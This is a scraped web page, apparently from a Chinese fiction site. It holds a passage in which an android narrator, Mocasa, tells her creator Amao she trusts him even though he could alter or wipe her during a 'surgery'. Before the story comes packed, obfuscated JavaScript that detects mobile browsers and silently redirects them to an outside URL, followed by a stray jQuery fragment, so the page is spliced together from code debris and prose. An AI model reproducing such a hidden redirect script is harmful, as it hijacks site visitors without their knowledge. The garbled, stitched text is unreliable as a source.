;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300377|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你现在愿意的、不愿意的事,醒来可能都会成为你的本能…甚至可能会让你变为完全不同的存在。” 感受到背后支撑身体的手臂角度有多扭曲,我仿佛听到了人类骨骼哀鸣的声音…现在不是发散的时候。 仔细分析起他的话,似乎在评价母亲地专业能力? “没错,母亲可真是厉害,”非常赞同用眨眼代替点头,我联想到他曾经提过的词,“原来这就是阿帽说的「基因」,确实同人类的基因异曲同工。” 我看到他捏紧了拳头。 “那我再说明白点—— 如果我在「手术」过程中做手脚,现在的你可能会就此消失,再次醒来的无论是工具还是什么,都会任我处置。 你确定愿意承担如此大的风险?” 我盯着他情绪复杂的眼眸,无法参透这番话的目的和意义…什么叫风险?被阿帽把数据库删干净?还是直接把我的核心掏出来? 怎么会。 我没忍住笑出声:“阿帽才不会做这种事呢。” “…我给你考虑的时间。” 咦?意料之外的反应让我卡顿一瞬。 “我还以为阿帽会回我一句「少一副很懂我的样子」呢,”模仿他的语气表演之后,我新奇的眨眨眼,发现了不符合数据库阿帽行为逻辑的新案例。 他突然间泄了气,直起身让灯光重新毫无阻拦的落下,眼神复杂地凝视我。 “你就不怕…我这段时间都是在伪装,不怕我就是个想把你关机的坏家伙?”他双手抱胸,说到最后三个字时神色暗淡片刻,“你说过芯片对你的重要性,这可是相当于把你的命脉交到我手里。” “你真就这么信任我?” 今天的阿帽话很多,仿佛打破了他竖起的那面墙,稍稍透露出一些真实的自己。 随着他的后撤,我终于能够坐直身子,但我也选择了与他同样的的得寸进尺—— “嗯,我相信你。” 这么回答的同时,双手支撑在实验台边缘,我以双膝为支点,整个身体前倾到他面前,压得他后仰几分。 “无论你问多少次,我都会回答,我相信你。” 他沉默了,像是僵在原地,甚至忘记像平常那样推开我。 借此机会,我再次观察起他的容貌。 略微颤动的绀青色双瞳,勾勒眼型的红色眼线,毫无瑕疵的白皙皮肤,似乎有些泛红地脸颊…我突然有些理解人类口中所谓的「以貌取人」了。 这么好看的阿帽,绝对是好人嘛。 想到此,我趁他愣神,坚定地给他一个代表信任的拥抱。 “我相信你。” “!你…” 他如梦初醒,挣扎着想推开我,最终却不知缘由地停下动作,耳侧传来的声音闷闷的:“真是个…笨蛋,不会有人比你还笨了。” 还在大惊阿帽为何突然连续骂我许多次,我已经被他推开,强硬而缓慢地按倒在床上。 “躺下,我已经给过你后悔的机会了,”他紧盯我的双眼,眸中除了严肃还带有些许别扭。 最后他伸出地手掌盖住我的双眼,声音意外的温柔。 “睡吧,摩可沙。”